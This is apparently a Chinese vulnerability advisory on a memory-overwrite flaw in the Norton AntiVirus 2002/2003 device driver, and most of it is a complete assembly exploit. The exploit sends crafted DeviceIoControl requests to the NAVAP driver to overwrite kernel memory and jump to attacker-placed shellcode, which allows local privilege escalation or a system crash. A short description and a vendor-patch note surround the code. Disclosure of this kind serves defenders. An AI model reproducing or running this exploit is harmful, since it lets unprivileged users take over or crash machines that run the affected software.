安全研究

安全漏洞
Symantec Norton AntiVirus设备驱动内存覆写漏洞

发布日期:2003-08-02
更新日期:2003-08-08

受影响系统:
Symantec Norton AntiVirus 2002
    - Microsoft Windows XP Professional
    - Microsoft Windows XP Home
    - Microsoft Windows NT 4.0 SP6a
    - Microsoft Windows NT 4.0 SP6
    - Microsoft Windows NT 4.0 SP5
    - Microsoft Windows NT 4.0 SP4
    - Microsoft Windows NT 4.0 SP3
    - Microsoft Windows NT 4.0 SP2
    - Microsoft Windows NT 4.0 SP1
    - Microsoft Windows NT 4.0
    - Microsoft Windows ME
    - Microsoft Windows 98
    - Microsoft Windows 2000 Professional SP2
    - Microsoft Windows 2000 Professional SP1
    - Microsoft Windows 2000 Professional
Symantec Norton AntiVirus 2003
    - Microsoft Windows XP Professional SP1
    - Microsoft Windows XP Professional
    - Microsoft Windows XP Home SP1
    - Microsoft Windows XP Home
    - Microsoft Windows ME
    - Microsoft Windows 98
    - Microsoft Windows 2000 Professional SP3
    - Microsoft Windows 2000 Professional SP2
    - Microsoft Windows 2000 Professional SP1
    - Microsoft Windows 2000 Professional
描述:
BUGTRAQ  ID: 8329

Norton Antivirus是一款流行的反病毒系统。

Norton Antivirus设备驱动存在内存破坏问题,本地攻击者可以利用这个漏洞使系统崩溃或可能提升权限。

根据报告,其中一个设备控制操作句柄尝试写数据到传递给DeviceIoControl()指针参数的地址偏移,由于在参数传递或写入地址没有进行任何验证,可导致非特权用户空间程序由于写内存地址而使系统崩溃,存在提升权限的可能。

<*来源:Lord YuP (yup@tlen.pl
  
  链接:http://sec-labs.hack.pl/papers/win32ddc.php
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Lord YuP (yup@tlen.pl)提供了如下测试方法:

;------------------------[NAVAP_EXPLOIT.ASM]--------------------------------------
; NAVAP (Norton AntyVirus Device Driver Exploit)
; powered by Lord YuP / Sec-Labs ^ Tkt
; email: yup@tlen.pl

;compile with:
;tasm32 /m1 /m3 /mx NAVAP_EXPLOIT,,;
;tlink32 -Tpe -aa NAVAP_EXPLOIT,NAVAP_EXPLOIT,,import32.lib,,
;PEWRSEC.COM NAVAP_EXPLOIT.exe

include my_macro.inc ;this can be found in zipped archive
include WIN32API.INC ;see the end of paper


;WARNING THIS VALUE MUST BE CHANGED!!!! TRY TO USE DeviceTree utility (from OSR)
;to obtain the *Device Loaded Address* !!!!
;or make your own obtainer using SETUPAPI functions!!!

MAP_BASE equ 0bbf30000h ;0bbef4000h


;calculate the address for the shellcode
mov eax,MAP_BASE
add eax,3098eh ;first case-if offset without base addr
mov dword ptr [my_address],eax ;fill the variable
mov dword ptr [my_address+2],0 ;like NAVAP does X-D
mov dword ptr [my_address+2],32h ;guess what ;)

push 0
push 80h
push 3
push 0
push 0
push 0
@pushsz "\\.\NAVAP" ;open the device
@callx CreateFileA ;yeah - open it!
mov ebx,eax ;EBX=DEVICE HANDLE

cmp eax,-1 ;error ;/
jne _x00 ;if not jump to _x00 label

@debug SPLOIT_TITLE,"Cannot open device ;/",IERROR
jmp exit

_x00:
push 0 ;overlapped = 0
push offset byte_ret ;bytes returned
push 4h ;navap requires 4 bytes ;)
push offset outer ;output buffor
push 20h ;if else our signal will be ignored
push offset my_buffer ;input buffer (symantec style)
push 222a87h ;secret code X-D
push ebx ;EBX=HANDLE
@callx DeviceIoControl ;send first signal
test eax,eax ;cannot send it ;/ - damn
jnz _x01 ;if correct jump to _x01

@debug SPLOIT_TITLE,"Cannot send 1st SIGNAL! ;/",IERROR
jmp exit

_x01:
push PAGE_EXECUTE_READWRITE ;page for execute/read/write
push MEM_COMMIT ;commit
push shellcode_size+100+(1000h+10h) ;size X-D hehe
push dword ptr [my_address] ;specyfic address
@callx VirtualAlloc ;alloc it!
mov dword ptr [mem_handle],eax ;store to variable

test eax,eax ;error?
jnz _xO ;if not jump to _xO

@debug SPLOIT_TITLE,"Cannot alloc memory! ;/",IERROR
jmp exit

_xO:
mov edi,eax ;EDI=MEMORY HANDLE
push edi ;store EDI
add eax,shellcode_size+10 ;after shellcode
mov dword ptr [wpisz_tutaj],eax ;store for later

xor eax,eax ;EAX=0
mov ecx,shellcode_size+100 ;ECX=SHELLCODE SIZE + 100 bytes
rep stosb ;fill up with NULL's
pop edi ;load EDI (now EDI memory handle)


lea esi,my_buffer2 ;ESI=POINTER TO SECOND BUFFER
mov ecx,my_buffer2_size ;ECX=SECOND BUFFER SIZE
rep movsb ;write it!!!

mov al,90h ;AL=90H=NOP
mov ecx,1000h+10h ;ECX=1010h bytes
rep stosb ;FILL THE MEMORY WITH NOPS

lea esi,shellcode ;ESI=POINTER TO REAL SHELLCODE
add esi,my_buffer2_size ;(WITHOUT MY_BUFFER2 DATA)
mov ecx,shellcode_size-my_buffer2_size ;ECX=REAL SHELLCODE SIZE
rep movsb ;store it!


mov eax,dword ptr [mem_handle] ;EAX=MEMORY HANDLE
add eax,shellcode_size+10 ;calculate pointer for bytes_returned


push 0
push eax ;bytes returned
push 4h ;look up for comments! X-D
push eax
push 20h
push dword ptr [mem_handle]
push 222a87h
push ebx
@callx DeviceIoControl ;send second signal and execute the jump X-D
test eax,eax ;error
jnz _x02 ;nope conitnue work at _x02 label

@debug SPLOIT_TITLE,"Cannot send 2nd SIGNAL! ;/",IERROR
jmp exit



_x02:
push MEM_RELEASE ;memory will be released
push shellcode_size+100+(1000h+10h) ;memory size
push dword ptr [mem_handle] ;memory handle
@callx VirtualFree ;de-allocate it

exit: push 0 ;say good bye ;)
@callx ExitProcess


byte_ret dd 0


OVERWRITE_IT equ MAP_BASE+20b12h+2 ;address to overwrite
SAFE_EXIT equ MAP_BASE+20B0Bh ;do not fault ;][;

my_buffer:
dd 03E3E5352h ;some MARKER by symantec
dd 07h+1 ;case if
dd "nie1" ;doesn't metter in this case
dd "nie2" ;-//-
dd offset nie3 ;device must store sth (avoid fault)
dd 32h ;must be 32h!!! (read the white-paper)
dd OVERWRITE_IT ;address we want to overwrite (EDX)
dd 03C3C5352h ;the same as the first one
my_buffer_size=$-offset my_buffer


shellcode:
my_buffer2:
dd 03E3E5352h
dd 0h+1 ;case if
dd "nie1" ;rest the same X-D
dd "nie2"
dd offset nie3
dd 32h
wpisz_tutaj dd 0
dd 03C3C5352h
my_buffer2_size=$-offset my_buffer
db 100 dup (90h)


;------------------------------------------------------------------------------------------
;here the sample shellcode starts:
;
;If u want write a shellcode do it yourself, avoiding from ex-ploit-k1dd13z
;blackhat for ever man ;]
;btw. remeber that IT IS A: *D - R - I - V - E - R *
;heh
;------------------------------------------------------------------------------------------

pushad
@delta2reg ebp



popad
mov edx,SAFE_EXIT
jmp edx


shellcode_size=$-offset shellcode


;the rest of variables

mem_handle dd 0
my_address dd 0
temp_erufka dd 0
nie3 db "just an temp ... "
outer db 100 dup (0)


end start

;------------------------[NAVAP_EXPLOIT.ASM]--------------------------------------

建议:
厂商补丁:

Symantec
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.symantec.com/

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